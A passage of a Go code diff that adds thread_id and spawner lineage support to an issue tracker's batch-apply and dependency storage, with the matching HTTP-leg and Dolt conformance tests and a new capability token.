t.Errorf("root title = %q after a refused guard, want unchanged %q", title, root.Title) + } +} diff --git a/internal/httpclient/served_batch_apply_test.go b/internal/httpclient/served_batch_apply_test.go index f6c8a6257..d7fa20172 100644 --- a/internal/httpclient/served_batch_apply_test.go +++ b/internal/httpclient/served_batch_apply_test.go @@ -6,6 +6,8 @@ package httpclient import ( + "context" + "encoding/json" "errors" "strings" "testing" @@ -34,9 +36,11 @@ import ( // shared database would turn an id collision between two contracts into a // debugging session. -// applyParkBead owns this family's two parks: L-apply-ref's unparks when the -// wire grows a typed ref-key member on the problem document, and -// W-DepAddItem.HasSpawner's when ApplyDepAddItem publishes a spawner member. +// applyParkBead owns this family's one remaining park: L-apply-ref's unparks +// when the wire grows a typed ref-key member on the problem document. +// W-DepAddItem.HasSpawner's park UNPARKED under issues.batchApply.depAddLineage +// (S5) — ApplyDepAddItem now publishes a spawner member — and +// TestServedBatchApplyStampsSpawnerIDOnlyWhenNamed runs unskipped below. const applyParkBead = "ga-mijra" func newServedBatchApplyFixture(t *testing.T, prefix string) conformance.BatchApplyFixture { @@ -174,18 +178,6 @@ func TestServedBatchApplyNormalizesTheWaitsForGate(t *testing.T) { conformance.RunBatchApplyNormalizesTheWaitsForGate(t, t.Context(), newServedBatchApplyFixture(t, "hba1c")) } -// TestServedBatchApplyStampsSpawnerIDOnlyWhenNamed parks on the edge item's -// spawner flag. The case's second half, an edge that names no spawner, is what -// this wire writes for every waits-for edge; its first half is the item the -// client refuses. -func TestServedBatchApplyStampsSpawnerIDOnlyWhenNamed(t *testing.T) { - skipKnownDivergence(t, "W-DepAddItem.HasSpawner", applyParkBead, - "the case names a spawner on a waits-for edge (DepAddItem.HasSpawner), and ApplyDepAddItem publishes no "+ - "spawner member, so the client refuses the item rather than letting the server store the edge without "+ - "the spawner_id the role would stamp from its resolved target.") - conformance.RunBatchApplyStampsSpawnerIDOnlyWhenNamed(t, t.Context(), newServedBatchApplyFixture(t, "hba27")) -} - func TestServedBatchApplySplicesAForwardMetadataRef(t *testing.T) { conformance.RunBatchApplySplicesAForwardMetadataRef(t, t.Context(), newServedBatchApplyFixture(t, "hba1d")) } @@ -255,6 +247,43 @@ func TestServedBatchApplyRefusesAnUnusableRequest(t *testing.T) { conformance.RunBatchApplyRefusesAnUnusableRequest(t, t.Context(), newServedBatchApplyFixture(t, "hba26")) } +// TestServedBatchApplyStampsSpawnerIDOnlyWhenNamed wires the dep_add +// HasSpawner/ThreadID lineage conformance case onto the http leg (S5): a +// served default Config always advertises CapBatchApplyDepAddLineage (it is +// in httpapi's unconditional behaviorCapabilities), so this exercises the +// member on the WIRE, round-tripping through refuseUnservedDepAddLineage's +// pre-dial check (which never fires here, since the capability is present) +// and applyDepAddItemBody's encoding, server-side batch_apply.go decode, and +// the role's own StampWaitsForSpawnerID. +func TestServedBatchApplyStampsSpawnerIDOnlyWhenNamed(t *testing.T) { + conformance.RunBatchApplyStampsSpawnerIDOnlyWhenNamed(t, t.Context(), newServedBatchApplyFixture(t, "hba27")) +} + +// TestServedBatchApplyCarriesThreadIDOntoTheStoredEdge wires +// DepAddItem.ThreadID's round trip onto the http leg (S5, 2026-10 Opus-review +// HIGH-2): this is the ONE case that proves the field survives BOTH sides of +// the wire at once — the client's applyDepAddItemBody encode and the server's +// applyDepAddItemMembers decode — since either one dropping thread_id leaves +// the raw dependencies row's thread_id column blank and fails the assertion. +func TestServedBatchApplyCarriesThreadIDOntoTheStoredEdge(t *testing.T) { + conformance.RunBatchApplyCarriesThreadIDOntoTheStoredEdge(t, t.Context(), newServedBatchApplyFixture(t, "hba28")) +} + +// TestServedBatchApplyCarriesThreadIDOntoAnExistingEdge wires the re-add arm of +// the same round trip: a thread named on a dep_add whose edge already exists +// must cross the wire and reach the stored row, not stop at the server's +// change-free check. +func TestServedBatchApplyCarriesThreadIDOntoAnExistingEdge(t *testing.T) { + conformance.RunBatchApplyCarriesThreadIDOntoAnExistingEdge(t, t.Context(), newServedBatchApplyFixture(t, "hba29")) +} + +// TestServedBatchApplyRefusesAThreadIDLongerThanItsColumn wires the thread_id +// bound onto the http leg, where the server's decode refuses it before the +// role's plan would; both have to arrive as the same ErrValidation. +func TestServedBatchApplyRefusesAThreadIDLongerThanItsColumn(t *testing.T) { + conformance.RunBatchApplyRefusesAThreadIDLongerThanItsColumn(t, t.Context(), newServedBatchApplyFixture(t, "hba2a")) +} + // TestServedBatchApplyRefusesAMetadataRefWithoutNamingTheKey is the running pin // beside the park above: the same request, driven end to end, asserting // everything the contract asserts EXCEPT the key inside the member — the @@ -455,3 +484,212 @@ func TestServedBatchApplyAnswersEveryItemWithoutASnapshot(t *testing.T) { } } } + +// TestServedBatchApplyGcCloseWithMetadataIfMatch pins the first of DESIGN +// §3.8's two gc mappings (2026-10 Opus-review HIGH-3, no new bd surface): gc's +// RAW-transaction CloseWithMetadataIfMatch maps onto BatchApplier[update{Patch +// Metadata, ExpectedVersion}, close{}] in ONE request — see the BatchApplier +// package doc. +// +// It is atomic because the whole request is: the matching-version half lands +// both the metadata write and the close together, and the stale-version half +// below refuses the update, which refuses the request, so the close beside it +// never runs and NEITHER change lands. +func TestServedBatchApplyGcCloseWithMetadataIfMatch(t *testing.T) { + ctx := t.Context() + fixture := newServedBatchApplyFixture(t, "hbagc0") + + id := fixture.IssuePrefix + "-close-with-metadata" + if err := fixture.CreateIssue(ctx, &types.Issue{ID: id, Title: "closed with a metadata guard", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, "apply-seed"); err != nil { + t.Fatalf("seeding %s: %v", id, err) + } + var version int64 + if err := fixture.QueryScalar(ctx, "SELECT row_lock FROM issues WHERE id = ?", []any{id}, &version); err != nil { + t.Fatalf("reading row_lock for %s: %v", id, err) + } + + _, err := fixture.BatchApplier.ApplyBatch(ctx, issueops.ApplyBatchRequest{ + Actor: "apply-writer", + Items: []issueops.ApplyItem{ + {Kind: issueops.ItemUpdate, Update: &issueops.UpdateItem{ + Target: issueops.Ref{ID: id}, + Patch: issueops.IssuePatch{Metadata: issueops.MetadataPatch{ + Merge: issueops.Field[json.RawMessage]{Set: true, Value: json.RawMessage(`{"closed_via":"gc"}`)}, + }}, + ExpectedVersion: &version, + }}, + {Kind: issueops.ItemClose, Close: &issueops.CloseItem{Target: issueops.Ref{ID: id}}}, + }, + }) + if err != nil { + t.Fatalf("CloseWithMetadataIfMatch with the current version: %v", err) + } + if got := batchApplyColumnDirect(t, ctx, &fixture, "status", id); got != string(types.StatusClosed) { + t.Errorf("status = %q, want %q", got, types.StatusClosed) + } + if got := batchApplyColumnDirect(t, ctx, &fixture, "metadata", id); !strings.Contains(got, "closed_via") { + t.Errorf("metadata = %q, want it to carry the merged key", got) + } + + // The stale half: the same shape, a version that is no longer current. The + // WHOLE request refuses and ZERO rows change — neither the metadata merge + // nor the close. + id2 := fixture.IssuePrefix + "-close-with-metadata-stale" + if err := fixture.CreateIssue(ctx, &types.Issue{ID: id2, Title: "a stale guard leaves zero changes", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, "apply-seed"); err != nil { + t.Fatalf("seeding %s: %v", id2, err) + } + var version2 int64 + if err := fixture.QueryScalar(ctx, "SELECT row_lock FROM issues WHERE id = ?", []any{id2}, &version2); err != nil { + t.Fatalf("reading row_lock for %s: %v", id2, err) + } + stale := version2 - 1 + _, err = fixture.BatchApplier.ApplyBatch(ctx, issueops.ApplyBatchRequest{ + Actor: "apply-writer", + Items: []issueops.ApplyItem{ + {Kind: issueops.ItemUpdate, Update: &issueops.UpdateItem{ + Target: issueops.Ref{ID: id2}, + Patch: issueops.IssuePatch{Metadata: issueops.MetadataPatch{ + Merge: issueops.Field[json.RawMessage]{Set: true, Value: json.RawMessage(`{"closed_via":"gc"}`)}, + }}, + ExpectedVersion: &stale, + }}, + {Kind: issueops.ItemClose, Close: &issueops.CloseItem{Target: issueops.Ref{ID: id2}}}, + }, + }) + if !errors.Is(err, issueops.ErrVersionMismatch) { + t.Fatalf("a stale ExpectedVersion: error = %v, want ErrVersionMismatch", err) + } + if got := batchApplyColumnDirect(t, ctx, &fixture, "status", id2); got == string(types.StatusClosed) { + t.Error("the close landed despite the whole request refusing on the stale guard") + } + if got := batchApplyColumnDirect(t, ctx, &fixture, "metadata", id2); strings.Contains(got, "closed_via") { + t.Error("the metadata merge landed despite the whole request refusing on the stale guard") + } +} + +// batchApplyColumnDirect reads one issues column directly, for the two gc- +// mapping tests above: they are plain package tests rather than +// conformance.Run* cases (the composition is http-leg-only, DESIGN §3.8), so +// they cannot reach the conformance package's unexported batchApplyColumn. +func batchApplyColumnDirect(t *testing.T, ctx context.Context, fixture *conformance.BatchApplyFixture, column, id string) string { + t.Helper() + var value string + //nolint:gosec // G201: column is one of this file's own hardcoded names. + query := "SELECT COALESCE(" + column + ", '') FROM issues WHERE id = ?" + if err := fixture.QueryScalar(ctx, query, []any{id}, &value); err != nil { + t.Fatalf("reading issues.%s for %s: %v", column, id, err) + } + return value +} + +// TestServedBatchApplyGcApplyGraphPlan pins the second of DESIGN §3.8's two gc +// mappings (2026-10 Opus-review HIGH-3): gc's RAW RunInTransaction graph-build +// maps onto one BatchApplier request carrying every item kind the plan needs — +// a keyed create, a MetadataRefs splice, a dep_add edge, a parent-child +// dep_add edge, a waits-for edge naming its spawner by key and carrying a +// thread, and a trailing update for AssignAfterCreate — landing together as +// the one plan a caller composed. +func TestServedBatchApplyGcApplyGraphPlan(t *testing.T) { + ctx := t.Context() + fixture := newServedBatchApplyFixture(t, "hbagc1") + + epic := fixture.IssuePrefix + "-plan-epic" + task := fixture.IssuePrefix + "-plan-task" + blocker := fixture.IssuePrefix + "-plan-blocker" + + result, err := fixture.BatchApplier.ApplyBatch(ctx, issueops.ApplyBatchRequest{ + Actor: "apply-writer", + ForceIDPrefix: true, + Items: []issueops.ApplyItem{ + // A keyed create: the plan's root node. + {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{ + Key: "epic", + Issue: &issueops.Issue{ID: epic, Title: "the plan's root", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, + }}, + // A second node whose metadata reaches BACKWARD to the epic's minted + // id via MetadataRefs — the splice CreateItem.MetadataRefs documents. + {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{ + Key: "task", + Issue: &issueops.Issue{ID: task, Title: "spliced to its epic", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, + MetadataRefs: map[string]issueops.Ref{"epic_id": {Key: "epic"}}, + }}, + {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{ + Key: "blocker", + Issue: &issueops.Issue{ID: blocker, Title: "blocks the task", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, + }}, + // A dep_add edge, plain. + {Kind: issueops.ItemDepAdd, DepAdd: &issueops.DepAddItem{ + Source: issueops.Ref{Key: "task"}, Target: issueops.Ref{Key: "blocker"}, Type: issueops.DepBlocks, + }}, + // A dep_add edge of type parent-child — "parent-child included", same + // item kind as the one above, a different Type. + {Kind: issueops.ItemDepAdd, DepAdd: &issueops.DepAddItem{ + Source: issueops.Ref{Key: "task"}, Target: issueops.Ref{Key: "epic"}, Type: issueops.DepParentChild, + }}, + // A waits-for edge whose spawner is named by plan KEY, with a thread: + // the lineage gc's mapping carries (issues.batchApply.depAddLineage). + // The spawner stamp can only resolve once that key has an id. + {Kind: issueops.ItemDepAdd, DepAdd: &issueops.DepAddItem{ + Source: issueops.Ref{Key: "epic"}, Target: issueops.Ref{Key: "blocker"}, Type: issueops.DepWaitsFor, + HasSpawner: true, ThreadID: "th-plan", + }}, + // A trailing update for AssignAfterCreate, resolving the key BACKWARD + // to the row the first items in this same request just minted. + {Kind: issueops.ItemUpdate, Update: &issueops.UpdateItem{ + Target: issueops.Ref{Key: "task"}, + Patch: issueops.IssuePatch{Assignee: issueops.Field[string]{Set: true, Value: "alice"}}, + }}, + }, + }) + if err != nil { + t.Fatalf("ApplyGraphPlan: %v", err) + } + if len(result.Items) != 7 { + t.Fatalf("ApplyBatch(7 items) returned %d item results", len(result.Items)) + } + + var metadata string + if err := fixture.QueryScalar(ctx, "SELECT COALESCE(metadata, '') FROM issues WHERE id = ?", []any{task}, &metadata); err != nil { + t.Fatalf("reading the spliced metadata: %v", err) + } + if !strings.Contains(metadata, result.Keys["epic"]) { + t.Errorf("task metadata = %q, want the epic's minted id %s spliced over epic_id", metadata, result.Keys["epic"]) + } + + var edges int + const edgeQuery = `SELECT COUNT(*) FROM dependencies WHERE issue_id = ? AND type = ? + AND COALESCE(depends_on_issue_id, depends_on_wisp_id, depends_on_external) = ?` + if err := fixture.QueryScalar(ctx, edgeQuery, []any{task, "blocks", blocker}, &edges); err != nil { + t.Fatalf("counting the blocks edge: %v", err) + } + if edges != 1 { + t.Errorf("blocks edges task->blocker = %d, want 1", edges) + } + if err := fixture.QueryScalar(ctx, edgeQuery, []any{task, "parent-child", epic}, &edges); err != nil { + t.Fatalf("counting the parent-child edge: %v", err) + } + if edges != 1 { + t.Errorf("parent-child edges task->epic = %d, want 1", edges) + } + + var waitsFor, thread string + const lineageQuery = `SELECT COALESCE(metadata, ''), COALESCE(thread_id, '') FROM dependencies + WHERE issue_id = ? AND type = ? AND COALESCE(depends_on_issue_id, depends_on_wisp_id, depends_on_external) = ?` + if err := fixture.QueryScalar(ctx, lineageQuery, []any{epic, "waits-for", blocker}, &waitsFor, &thread); err != nil { + t.Fatalf("reading the waits-for edge epic->blocker: %v", err) + } + var meta types.WaitsForMeta + if err := json.Unmarshal([]byte(waitsFor), &meta); err != nil { + t.Fatalf("waits-for metadata %q is not a gate object: %v", waitsFor, err) + } + if meta.SpawnerID != result.Keys["blocker"] { + t.Errorf("waits-for spawner_id = %q, want the blocker key's minted id %q", meta.SpawnerID, result.Keys["blocker"]) + } + if thread != "th-plan" { + t.Errorf("waits-for thread_id = %q, want %q", thread, "th-plan") + } + + if got := batchApplyColumnDirect(t, ctx, &fixture, "assignee", task); got != "alice" { + t.Errorf("task assignee = %q, want %q (AssignAfterCreate)", got, "alice") + } +} diff --git a/internal/httpclient/served_memories_deps_test.go b/internal/httpclient/served_memories_deps_test.go index 6d97f1d8b..014f38ce3 100644 --- a/internal/httpclient/served_memories_deps_test.go +++ b/internal/httpclient/served_memories_deps_test.go @@ -416,7 +416,7 @@ func TestServedDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate(t *testi conformance.RunDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate(t, t.Context(), newServedDependencyEditorFixture(t, "hd38")) } -// The two same-type re-add cases, newly wired: both drive the re-add through +// The same-type re-add cases, newly wired: each drives the re-add through // fixture.AddDependency (the reference store's own raw path, same reason // ClosedChildAddSatisfiesAnAnyChildrenGate reaches past the role above) and // need dual-write version history on, which the fixture now wires onto the @@ -429,3 +429,7 @@ func TestServedDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion(t func TestServedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t *testing.T) { conformance.RunDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t, t.Context(), newServedDependencyEditorFixture(t, "hd40")) } + +func TestServedDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion(t *testing.T) { + conformance.RunDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion(t, t.Context(), newServedDependencyEditorFixture(t, "hd41")) +} diff --git a/internal/httpclient/sweeper.go b/internal/httpclient/sweeper.go index 28b0e9785..f9c2a7a00 100644 --- a/internal/httpclient/sweeper.go +++ b/internal/httpclient/sweeper.go @@ -135,13 +135,21 @@ func (s *httpSweeper) refuseUnservedSweep(ctx context.Context, tier apigen.Sweep if err != nil { return err } - if tier == apigen.WispsPlane && !slices.Contains(snap.Capabilities, wire.CapSweepWispsPlane) { + // snap is nil, nil whenever Store.snapshot has no transport AND no cached + // handshake (a Store built with a nil wire): nothing was ever advertised, + // so every check below reads a nil capability list rather than + // dereferencing a nil *apigen.ContextResponse. + var capabilities []string + if snap != nil { + capabilities = snap.Capabilities + } + if tier == apigen.WispsPlane && !slices.Contains(capabilities, wire.CapSweepWispsPlane) { return s.store.unsupportedCapability("Sweeper.Sweep", wire.CapSweepWispsPlane) } - if req.ProtectLiveDependents && !slices.Contains(snap.Capabilities, wire.CapSweepLiveDependents) { + if req.ProtectLiveDependents && !slices.Contains(capabilities, wire.CapSweepLiveDependents) { return s.store.unsupportedCapability("Sweeper.Sweep", wire.CapSweepLiveDependents) } - if req.Limit != 0 && !slices.Contains(snap.Capabilities, wire.CapSweepLimit) { + if req.Limit != 0 && !slices.Contains(capabilities, wire.CapSweepLimit) { return s.store.unsupportedCapability("Sweeper.Sweep", wire.CapSweepLimit) } return nil diff --git a/internal/httpclient/wire/handshake.go b/internal/httpclient/wire/handshake.go index 13b10b586..b7db819c2 100644 --- a/internal/httpclient/wire/handshake.go +++ b/internal/httpclient/wire/handshake.go @@ -195,6 +195,15 @@ const CapSweepLiveDependents = "issues.sweep.liveDependents" // of what used to be a permanent refusal. const CapSweepLimit = "issues.sweep.limit" +// CapBatchApplyDepAddLineage is the behavior capability announcing that +// issues.batchApply's dep_add items accept `has_spawner` and `thread_id`, +// spelled exactly as httpapi's constant of the same name (held to it by +// TestCapabilityTableMatchesTheServerRouteTable). batchapplier.go reads this +// token before sending either field, refusing locally with a typed +// capability error rather than silently dropping graph lineage a caller +// asked to carry against an older server. +const CapBatchApplyDepAddLineage = "issues.batchApply.depAddLineage" + // CapExternalDependencies is the CONDITIONAL behavior capability announcing // that the ready, claim and close operations of this server apply bd's // external-dependency policy themselves, spelled exactly as httpapi's constant @@ -335,6 +344,7 @@ func (e *WireRevisionSkewError) Unwrap() error { return ErrWireRevisionSkew } var behaviorCapabilities = []string{ CapProjectEnforce, CapBatchApplyLarge, CapListSort, CapCountScope, CapSweepWispsPlane, CapSweepLiveDependents, CapSweepLimit, + CapBatchApplyDepAddLineage, } // CapabilityFor reports the capability token gating op, and whether op is on diff --git a/internal/httpclient/wire/vocabulary_test.go b/internal/httpclient/wire/vocabulary_test.go index 1bee3f45c..23d98908d 100644 --- a/internal/httpclient/wire/vocabulary_test.go +++ b/internal/httpclient/wire/vocabulary_test.go @@ -195,9 +195,11 @@ func TestTheProjectIdentityVocabularyMatchesTheServer(t *testing.T) { if !slices.Equal(behaviorCapabilities, []string{ httpapi.CapProjectEnforce, httpapi.CapBatchApplyLarge, httpapi.CapIssuesListSort, httpapi.CapIssuesCountScope, httpapi.CapIssuesSweepWispsPlane, httpapi.CapIssuesSweepLiveDependents, httpapi.CapIssuesSweepLimit, + httpapi.CapBatchApplyDepAddLineage, }) { t.Errorf("behaviorCapabilities = %v, want the server's project.enforce, issues.batchApplyLarge, issues.list.sort, "+ - "issues.count.scope, issues.sweep.wispsPlane, issues.sweep.liveDependents and issues.sweep.limit tokens", behaviorCapabilities) + "issues.count.scope, issues.sweep.wispsPlane, issues.sweep.liveDependents, issues.sweep.limit and "+ + "issues.batchApply.depAddLineage tokens", behaviorCapabilities) } } diff --git a/internal/httpclient/wire/writes_batch_cap_test.go b/internal/httpclient/wire/writes_batch_cap_test.go index c023b090b..c3d6d4a5e 100644 --- a/internal/httpclient/wire/writes_batch_cap_test.go +++ b/internal/httpclient/wire/writes_batch_cap_test.go @@ -97,6 +97,40 @@ func TestApplyBatchBetweenTheFloorAndTheCeilingWithTheCapabilitySucceeds(t *test } } +// TestApplyBatchAt356ItemsWithoutTheCapabilityRefusesBeforeDialing exercises +// the item-count gate at exactly 356 items -- the design's primary measured +// large-batch-apply shape (internal/storage/batchfixtures.Shape356) -- rather +// than only at the floor+1/ceiling+1 boundaries the other cases above pin. +// applyBatchRequestOfSize's own doc comment is why a synthetic 356-item plan +// is behaviorally identical to a real Shape356 plan for THIS gate: the cap +// logic never looks past len(body.Items). What a REALISTIC Shape356 payload +// must still get past this same gate -- and commit atomically once it does -- +// is covered end-to-end against the real served stack by +// internal/httpclient's TestServedBatchApplyShape356CommitsAtomically and +// TestServedBatchApplyShape356PlusAStaleGuardLeavesZeroRows. +func TestApplyBatchAt356ItemsWithoutTheCapabilityRefusesBeforeDialing(t *testing.T) { + c, rec := newTestClient(t, Options{}, nil, serveEverything(contextBody("v0", "proj-1", withBatchApply()...))) + _, err := c.ApplyBatch(ctx(t), applyBatchRequestOfSize(356)) + + var capErr *CapabilityError + if !errors.As(err, &capErr) { + t.Fatalf("err = %v (%T), want *CapabilityError", err, err) + } + if capErr.Capability != CapBatchApplyLarge { + t.Errorf("Capability = %q, want %q", capErr.Capability, CapBatchApplyLarge) + } + // Never dialed past the handshake: a masked server (one that does not + // advertise CapBatchApplyLarge) must refuse a 356-item plan PRE-DIAL, the + // same way it refuses any other over-floor count. + if rec.count() != 1 { + t.Fatalf("made %d requests, want only the handshake (a 356-item plan must refuse pre-dial against a server that does not advertise %s)", + rec.count(), CapBatchApplyLarge) + } + if got := rec.at(t, 0).path; got != PathContext { + t.Errorf("only request = %q, want %q", got, PathContext) + } +} + func TestApplyBatchOverTheAbsoluteCeilingRefusesRegardlessOfTheCapability(t *testing.T) { for _, tc := range []struct { name string diff --git a/internal/httpclient/write_ledger_test.go b/internal/httpclient/write_ledger_test.go index 29967f9c0..945c51477 100644 --- a/internal/httpclient/write_ledger_test.go +++ b/internal/httpclient/write_ledger_test.go @@ -594,18 +594,24 @@ func writeShapes() []writeShape { }, }, { - // The edge item. The gate normalization a waits-for edge gets is - // the ROLE's and travels inside the blob. HasSpawner and ThreadID - // have no wire member, so they are absent from carried below and - // refuse under W-DepAddItem.HasSpawner and W-DepAddItem.ThreadID. + // The edge item. TOTAL. The gate normalization a waits-for edge + // gets is the ROLE's and travels inside the blob. HasSpawner and + // ThreadID are carried unconditionally at this structural layer — + // CapBatchApplyDepAddLineage is a separate, client-side refusal + // (batchapplier.go's refuseUnservedDepAddLineage) gating WHETHER + // this client sends either member against an older server, not + // whether the field reaches the wire body type at all. (HasSpawner + // off a waits-for edge is the role's no-op, dropped by value.) name: "applyBatch/item/dep_add", source: reflect.TypeOf(issueops.DepAddItem{}), body: reflect.TypeOf(apigen.ApplyDepAddItem{}), carried: map[string]carriage{ - "Source": member("source"), - "Target": member("target"), - "Type": member("type"), - "Metadata": member("metadata"), + "Source": member("source"), + "Target": member("target"), + "Type": member("type"), + "Metadata": member("metadata"), + "HasSpawner": member("has_spawner"), + "ThreadID": member("thread_id"), }, }, { diff --git a/internal/storage/batch_apply.go b/internal/storage/batch_apply.go index 1a2d30afb..6df88107b 100644 --- a/internal/storage/batch_apply.go +++ b/internal/storage/batch_apply.go @@ -243,8 +243,11 @@ func planApplyBatchClose(item *issueops.CloseItem, index int, keyIndex map[strin return nil } -// planApplyBatchDepAdd checks an edge's endpoints and type and normalizes its -// gate metadata. +// planApplyBatchDepAdd checks an edge's endpoints, type and thread id and +// normalizes its gate metadata. The thread id gets its column's bound here, the +// one the http leg's decode already applies, so an over-long one is +// ErrValidation before any database work on every leg rather than a storage +// error mid-transaction on the local ones. // // IT RECORDS NOTHING AS TOUCHED, and that is a decision rather than an // oversight. The ExpectedVersion rule above refuses a guard on a row this @@ -269,6 +272,9 @@ func planApplyBatchDepAdd(item *issueops.DepAddItem, index int, keyIndex map[str return fmt.Errorf("%w: apply batch item %d requires a dependency type (max %d chars)", issueops.ErrValidation, index, types.MaxDependencyTypeLen) } + if err := types.CheckFieldLen("dependency thread_id", item.ThreadID); err != nil { + return fmt.Errorf("%w: apply batch item %d: %v", issueops.ErrValidation, index, err) + } metadata, err := normalizeApplyEdgeMetadata(item.Type, item.Metadata) if err != nil { return fmt.Errorf("%w: apply batch item %d: %v", issueops.ErrValidation, index, err) diff --git a/internal/storage/dolt/batch_apply_contract_test.go b/internal/storage/dolt/batch_apply_contract_test.go index 7c32d9a37..13b950360 100644 --- a/internal/storage/dolt/batch_apply_contract_test.go +++ b/internal/storage/dolt/batch_apply_contract_test.go @@ -180,6 +180,21 @@ func TestBatchApplyContract(t *testing.T) { defer cancel() conformance.RunBatchApplyStampsSpawnerIDOnlyWhenNamed(t, ctx, fixture) }) + t.Run("CarriesThreadIDOntoTheStoredEdge", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() + conformance.RunBatchApplyCarriesThreadIDOntoTheStoredEdge(t, ctx, fixture) + }) + t.Run("CarriesThreadIDOntoAnExistingEdge", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() + conformance.RunBatchApplyCarriesThreadIDOntoAnExistingEdge(t, ctx, fixture) + }) + t.Run("RefusesAThreadIDLongerThanItsColumn", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() + conformance.RunBatchApplyRefusesAThreadIDLongerThanItsColumn(t, ctx, fixture) + }) t.Run("SplicesAForwardMetadataRef", func(t *testing.T) { ctx, cancel := testContext(t) defer cancel() diff --git a/internal/storage/dolt/dependency_commit_boundary_test.go b/internal/storage/dolt/dependency_commit_boundary_test.go index 19421828b..b952fd544 100644 --- a/internal/storage/dolt/dependency_commit_boundary_test.go +++ b/internal/storage/dolt/dependency_commit_boundary_test.go @@ -68,9 +68,21 @@ func (c *dependencyCommitBoundaryConn) QueryContext(_ context.Context, query str return &dependencyCommitBoundaryRows{columns: []string{"exists"}}, nil case strings.Contains(query, "SELECT issue_type FROM wisps WHERE id = ?"): return &dependencyCommitBoundaryRows{columns: []string{"issue_type"}, values: [][]driver.Value{{"task"}}}, nil + // The add path's existence probe reads the stored edge's metadata and + // thread_id alongside its type: a same-type re-add compares both to decide + // whether it changes anything. + case strings.Contains(query, "SELECT type, metadata, thread_id FROM dependencies"), + strings.Contains(query, "SELECT type, metadata, thread_id FROM wisp_dependencies"): + if c.driver.newEdge { + return &dependencyCommitBoundaryRows{columns: []string{"type", "metadata", "thread_id"}}, nil + } + return &dependencyCommitBoundaryRows{ + columns: []string{"type", "metadata", "thread_id"}, + values: [][]driver.Value{{"related", "{}", nil}}, + }, nil // The remove path reads the edge's metadata alongside its type: the events // journal records the removed edge's full payload so a consumer can replay - // it (bd-opisf). The add path's existence probe still selects type alone. + // it (bd-opisf). case strings.Contains(query, "SELECT type, metadata FROM dependencies"), strings.Contains(query, "SELECT type, metadata FROM wisp_dependencies"): if c.driver.newEdge { diff --git a/internal/storage/dolt/dependency_editor_contract_test.go b/internal/storage/dolt/dependency_editor_contract_test.go index 3f3b7d26a..f5fac1515 100644 --- a/internal/storage/dolt/dependency_editor_contract_test.go +++ b/internal/storage/dolt/dependency_editor_contract_test.go @@ -55,6 +55,12 @@ func TestDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t *testing.T) conformance.RunDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t, ctx, fixture) } +func TestDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion(t *testing.T) { + fixture, ctx, cleanup := newDoltDependencyEditorFixture(t, "idemthread") + defer cleanup() + conformance.RunDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion(t, ctx, fixture) +} + func TestDependencyEditorRepeatsWithinOneRequestCollapse(t *testing.T) { fixture, ctx, cleanup := newDoltDependencyEditorFixture(t, "repeat") defer cleanup() diff --git a/internal/storage/domain/db/dependency.go b/internal/storage/domain/db/dependency.go index 066ed7bd5..dc4332bb1 100644 --- a/internal/storage/domain/db/dependency.go +++ b/internal/storage/domain/db/dependency.go @@ -110,12 +110,12 @@ func (r *dependencySQLRepositoryImpl) Insert(ctx context.Context, dep *types.Dep table := pickDepTable(opts.UseWispsTable) var existingType string - var existingMetadataNS sql.NullString + var existingMetadataNS, existingThreadNS sql.NullString err := r.runner.QueryRowContext(ctx, //nolint:gosec // G201: table and depTargetExpr are hardcoded constants - fmt.Sprintf("SELECT type, metadata FROM %s WHERE issue_id = ? AND %s = ?", table, depTargetExpr), + fmt.Sprintf("SELECT type, metadata, thread_id FROM %s WHERE issue_id = ? AND %s = ?", table, depTargetExpr), dep.IssueID, dep.DependsOnID, - ).Scan(&existingType, &existingMetadataNS) + ).Scan(&existingType, &existingMetadataNS, &existingThreadNS) switch { case err == nil: existingMetadata := existingMetadataNS.String @@ -123,28 +123,35 @@ func (r *dependencySQLRepositoryImpl) Insert(ctx context.Context, dep *types.Dep existingMetadata = "{}" } if existingType == string(dep.Type) { - if issueops.DependencyMetadataEqual(existingMetadata, metadata) { - // Same type, same metadata: a change-free write. Nothing is - // written and nothing is journaled (#5898 R3). + // A re-add naming a thread the row does not carry moves it; one + // naming none keeps the stored thread (the issueops twin's rule). + thread, threadChanged := issueops.ReAddedDependencyThread(existingThreadNS, dep.ThreadID) + if !threadChanged && issueops.DependencyMetadataEqual(existingMetadata, metadata) { + // Same type, same metadata, same thread: a change-free write. + // Nothing is written and nothing is journaled (#5898 R3). return nil } //nolint:gosec // G201: table and depTargetExpr are hardcoded constants if _, err := r.runner.ExecContext(ctx, - fmt.Sprintf("UPDATE %s SET metadata = ? WHERE issue_id = ? AND %s = ?", table, depTargetExpr), - metadata, dep.IssueID, dep.DependsOnID, + fmt.Sprintf("UPDATE %s SET metadata = ?, thread_id = ? WHERE issue_id = ? AND %s = ?", table, depTargetExpr), + metadata, thread, dep.IssueID, dep.DependsOnID, ); err != nil { return fmt.Errorf("db: DependencySQLRepository.Insert: refresh metadata: %w", err) } - // A same-type add refreshes edge metadata. It is an observable graph - // mutation, so emit the complete replacement edge for replay. + // A same-type add refreshes the edge's metadata or thread. It is an + // observable graph mutation, so journal the replacement edge for + // replay. EventDep has no thread member, so a thread-only change + // journals the same payload as the original add; the source's + // version snapshot is what records the new thread. if err := issueops.RecordDepEventInTx(ctx, r.runner, issueops.EventDepAdd, dep.IssueID, string(dep.Type), dep.DependsOnID, metadata, actor); err != nil { return err } - // The metadata genuinely changed, so this re-add is a real - // 